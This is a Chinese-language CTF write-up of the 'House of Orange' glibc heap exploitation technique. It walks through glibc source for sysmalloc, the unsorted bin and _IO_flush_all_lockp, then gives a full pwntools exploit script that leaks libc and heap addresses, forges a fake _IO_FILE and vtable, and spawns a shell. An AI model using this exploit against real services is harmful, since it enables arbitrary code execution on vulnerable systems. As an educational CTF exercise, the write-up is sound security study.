House of orange

House of orange因一道同名的題而來,它是在程序沒有調用free函數的情況下利用其它漏洞結合IO_FILE來達到利用。

  1. 首先利用漏洞修改top chunk的size,然後申請一個比size大的堆,滿足一定條件,這個top chunk就會被釋放到unsorted bin裏。
  2. 利用unsorted bin attack,將__IO_list_all指針改寫爲unsorted bin的頭chunk地址
  3. 利用漏洞在可控的unsorted bin裏僞造IO_file_plus和vtable結構
  4. 再次malloc時,由於unsorted bin裏的指針被修改了,發生malloc_printerr報錯,而malloc_printerr用到了__IO_list_all指針,會從__IO_list_all指向的地方開始查找合適的FILE結構,並調用裏面vtable裏的函數。因此,我們在vtable裏放入system函數即可getshell

我們先來看一下程序的保護機制

然後,我們用IDA分析一下,一次create創建3個堆,總共可以create三次。

Upgrade操作存在明顯的堆溢出漏洞

show功能沒有什麼異常

 

做堆題,一般都是要先泄露libc地址,這需要用到unsorted bin,但是本題沒有free操作。我們可以利用溢出,修改top chunksize,改小一點。然後我們malloc一個比這個size大的chunk,由於我們申請的大小超過了top chunk的大小。系統會使用sysmalloc來分配堆,sysmalloc最後會判斷old_size如果符合條件,原來的top chunk就會被釋放,即放入unsorted bin

  1. static void *  
  2. sysmalloc (INTERNAL_SIZE_T nb, mstate av)  
  3. {  
  4.   mchunkptr old_top;              /* incoming value of av->top */  
  5.   INTERNAL_SIZE_T old_size;       /* its size */  
  6. /* 
  7.      If have mmap, and the request size meets the mmap threshold, and 
  8.      the system supports mmap, and there are few enough currently 
  9.      allocated mmapped regions, try to directly map this request 
  10.      rather than expanding top. 
  11.    */  
  12.   
  13.   if (av == NULL  
  14.       || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)  
  15.       && (mp_.n_mmaps < mp_.n_mmaps_max)))  
  16.     {  
  17. .........  
  18. /* Setup fencepost and free the old top chunk with a multiple of 
  19.              MALLOC_ALIGNMENT in size. */  
  20.           /* The fencepost takes at least MINSIZE bytes, because it might 
  21.              become the top chunk again later.  Note that a footer is set 
  22.              up, too, although the chunk is marked in use. */  
  23.           old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;  
  24.           set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);  
  25.           if (old_size >= MINSIZE)  
  26.             {  
  27.               set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);  
  28.               set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));  
  29.               set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);  
  30.               _int_free (av, old_top, 1);  
  31.             }  
  32.           else  
  33.             {  
  34.               set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);  
  35.               set_foot (old_top, (old_size + 2 * SIZE_SZ));  
  36.             }  
  37. }  
  38. .....  
  39. }  

當unsorted bin裏有chunk後,我們通過申請堆塊,就能讓指針保留在我們的申請的堆裏,這樣我們就能泄露了。當然爲了能把heap的地址也泄露出來,我們malloc一個large bin,這樣它的fd_nextsize和bk_nextsize中指向自身。

  1. build(0x30,'a'*0x30)  
  2. #修改top chunksize0xF80  
  3. payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)  
  4. edit(len(payload),payload)  
  5. #申請一個比top chunksize大的空間,那麼top chunk會被放入unsorted bin  
  6. build(0x1000,'b')  
  7. #接下來申請unsorted bin裏的chunk,泄露libc地址和堆地址  
  8. build(0x400,'c')  
  9. show()  
  10. sh.recvuntil('Name of house : ')  
  11. main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  12. _IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)  
  13. libc_base = _IO_list_all_addr - _IO_list_all_s  
  14. system_addr = libc_base + system_s  
  15. print 'libc_base=',hex(libc_base)  
  16. print 'system_addr=',hex(system_addr)  
  17. print '_IO_list_all_addr=',hex(_IO_list_all_addr)  
  18. #泄露堆地址  
  19. edit(0x10,'c'*0x10)  
  20. show()  
  21. sh.recvuntil('c'*0x10)  
  22. heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  23. heap_base = heap_addr - 0xE0  
  24. print 'heap_base=',hex(heap_base)  

接下來,我們利用unsorted bin attack修改__IO_list_all指針

Unsorted bin attack的原理在glibc的源碼中,我們僞造將__IO_list_all-0x10僞造成bk,這樣bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x58

  1. /* remove from unsorted list */  
  2. unsorted_chunks (av)->bk = bck;  
  3. bck->fd = unsorted_chunks (av);  

此時, main_arena + 0x58相當於一個IO_file_plus結構,但是main_arena+0x58的內容我們不能完全控制,也就不能在這裏僞造結構。

我們看到IO_file_plus結構有一個_chain指針,它位於IO_file_plus+0x68處,指向了下一個IO_file_plus結構體,相當於單鏈表一樣,用指針連接起來。現在main_arena+0x58是IO_file_plus,那麼_chain的位置就在main_arena+0x58 + 0x68 = main_arena + 0xC0,而main_arena + 0xC0存儲着的是small bin的頭地址。所以,我們要讓main_arena + 0xC0指向一個我們可控的地方,然後在那裏僞造第二個IO_file_plus結構,即通過轉移,讓它轉移到我們可控的地方。

我們可以把unsorted bin的頭結點的size改成0x60,這樣當我們調用mallocglibc會整理unsorted bin,把對應sizechunk放入對應的bin裏面。此時,size0x60,屬於small_bin

  1. static void *  
  2. _int_malloc (mstate av, size_t bytes)  
  3. {  
  4. /* remove from unsorted list */  
  5.           unsorted_chunks (av)->bk = bck;  
  6.           bck->fd = unsorted_chunks (av);  
  7.   
  8.           /* Take now instead of binning if exact fit */  
  9.   
  10.           if (size == nb)  
  11.             {  
  12.               set_inuse_bit_at_offset (victim, size);  
  13.               if (av != &main_arena)  
  14.                 victim->size |= NON_MAIN_ARENA;  
  15.               check_malloced_chunk (av, victim, nb);  
  16.               void *p = chunk2mem (victim);  
  17.               alloc_perturb (p, bytes);  
  18.               return p;  
  19.             }  
  20.   
  21.           /* place chunk in bin */  
  22.   
  23.           if (in_smallbin_range (size))  
  24.             {  
  25.               victim_index = smallbin_index (size);  //victim_index=6
  26.               bck = bin_at (av, victim_index);  //bck=&av->bins[10]-0x10
  27.               fwd = bck->fd;  //fwd=&av->bins[10]
  28.             }  
  29. ...  
  30. mark_bin (av, victim_index);  
  31. victim->bk = bck;  
  32. victim->fd = fwd;  
  33. fwd->bk = victim;//&av->bins[10]+0x18 = old_top  
  34. bck->fd = victim; 
  35.  
  36. }  

main_arena結構

  1. struct malloc_state  
  2. {  
  3.   /* Serialize access.  */  
  4.   mutex_t mutex;  
  5.   
  6.   /* Flags (formerly in max_fast).  */  
  7.   int flags;  
  8.   
  9.   /* Fastbins */  
  10.   mfastbinptr fastbinsY[NFASTBINS];  
  11.   
  12.   /* Base of the topmost chunk -- not otherwise kept in a bin */  
  13.   mchunkptr top;  
  14.   
  15.   /* The remainder from the most recent split of a small request */  
  16.   mchunkptr last_remainder;  
  17.   
  18.   /* Normal bins packed as described above */  
  19.   mchunkptr bins[NBINS * 2 - 2];  
  20.   
  21.   /* Bitmap of bins */  
  22.   unsigned int binmap[BINMAPSIZE];  
  23.   
  24.   /* Linked list */  
  25.   struct malloc_state *next;  
  26.   
  27.   /* Linked list for free arenas.  Access to this field is serialized 
  28.      by free_list_lock in arena.c.  */  
  29.   struct malloc_state *next_free;  
  30.   
  31.   /* Number of threads attached to this arena.  0 if the arena is on 
  32.      the free list.  Access to this field is serialized by 
  33.      free_list_lock in arena.c.  */  
  34.   INTERNAL_SIZE_T attached_threads;  
  35.   
  36.   /* Memory allocated from the system in this arena.  */  
  37.   INTERNAL_SIZE_T system_mem;  
  38.   INTERNAL_SIZE_T max_system_mem;  
  39. };  

av->bins[10]+0x18 = main_arena + 0x58 + 0x8*10 + 0x18 = main_arena + 0xC0 = old_top

我們讓unsorted bin的size爲0x60,是爲了讓chain指針正好重新指回來,指向我們可控的地方。

那麼,我們就可以開始僞造結構體了,我們還需要繞過一下檢查

  1. _IO_flush_all_lockp (int do_lock)  
  2. {  
  3.   int result = 0;  
  4.   FILE *fp;  
  5. #ifdef _IO_MTSAFE_IO  
  6.   _IO_cleanup_region_start_noarg (flush_cleanup);  
  7.   _IO_lock_lock (list_all_lock);  
  8. #endif  
  9.   for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)  
  10.     {  
  11.       run_fp = fp;  
  12.       if (do_lock)  
  13.         _IO_flockfile (fp);  
  14.       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)  
  15.            || (_IO_vtable_offset (fp) == 0  
  16.                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr  
  17.                                     > fp->_wide_data->_IO_write_base))/*我們需要構造滿足條件*/  
  18.            )  
  19.           && _IO_OVERFLOW (fp, EOF) == EOF)/*_IO_list_all指向的FILE結構開始查找,找到合適_IO_FILE作爲_IO_OVERFLOW的參數,執行vtable裏面的函數,把IO_FILE結構體本身作爲參數*/  
  20.         result = EOF;  
  21.       if (do_lock)  
  22.         _IO_funlockfile (fp);  
  23.       run_fp = NULL;  
  24.     }  
  25. #ifdef _IO_MTSAFE_IO  
  26.   _IO_lock_unlock (list_all_lock);  
  27.   _IO_cleanup_region_end (0);  
  28. #endif  
  29.   return result;  
  30. }  

我們僞造的結構體如下

  1. #執行vtable的函數時,FILE結構體地址被作爲參數,因此,我們在最開頭寫/bin/sh字符串  
  2. fake_file = '/bin/sh\x00' + p64(0x60) #size作爲0x60,被放入small_bin,從而對應了chain指針  
  3. #unsorted bin attack,修改_IO_list_allmain_arena+88  
  4. fake_file += p64(0) + p64(_IO_list_all_addr-0x10)  
  5. #_IO_write_base < _IO_write_ptr  
  6. fake_file += p64(0) + p64(1)  
  7. fake_file = fake_file.ljust(0xC0,'\x00')  
  8. fake_file += p64(0)*3  
  9. #vtable指針,同時,也作爲fake_vtable__dummy  
  10. fake_file += p64(heap_base + 0x5E8)  
  11. #__dummy2__finish  
  12. fake_file += p64(0)*2  
  13. #__overflow  
  14. fake_file += p64(system_addr)  

現在,讓我們來malloc觸發後看看

同時,我們也已經getshell

 

 

如果getsehll失敗,可以多試幾次就會成功。因爲棧環境問題。

#coding:utf8
from pwn import *

sh = process('./houseoforange')
#sh = remote('111.198.29.45',44076)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc64-2.19.so')

_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']


def build(size,name):
   sh.sendlineafter('Your choice :','1')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name :',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')

def show():
   sh.sendlineafter('Your choice :','2')

def edit(size,name):
   sh.sendlineafter('Your choice :','3')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name:',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')

build(0x30,'a'*0x30)
#修改top chunk的size爲0xF80
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
edit(len(payload),payload)
#申請一個比top chunk的size大的空間,那麼top chunk會被放入unsorted bin
build(0x1000,'b')
#接下來申請unsorted bin裏的chunk,泄露libc地址和堆地址
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xE0
print 'heap_base=',hex(heap_base)

payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#執行vtable的函數時,FILE結構體地址被作爲參數,因此,我們在最開頭寫/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作爲0x60,被放入small_bin,從而對應了chain指針
#unsorted bin attack,修改_IO_list_all爲main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指針,同時,也作爲fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)

payload += fake_file
edit(len(payload),payload)
#malloc觸發異常,getshell
sh.recv()
sh.sendline('1')

sh.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章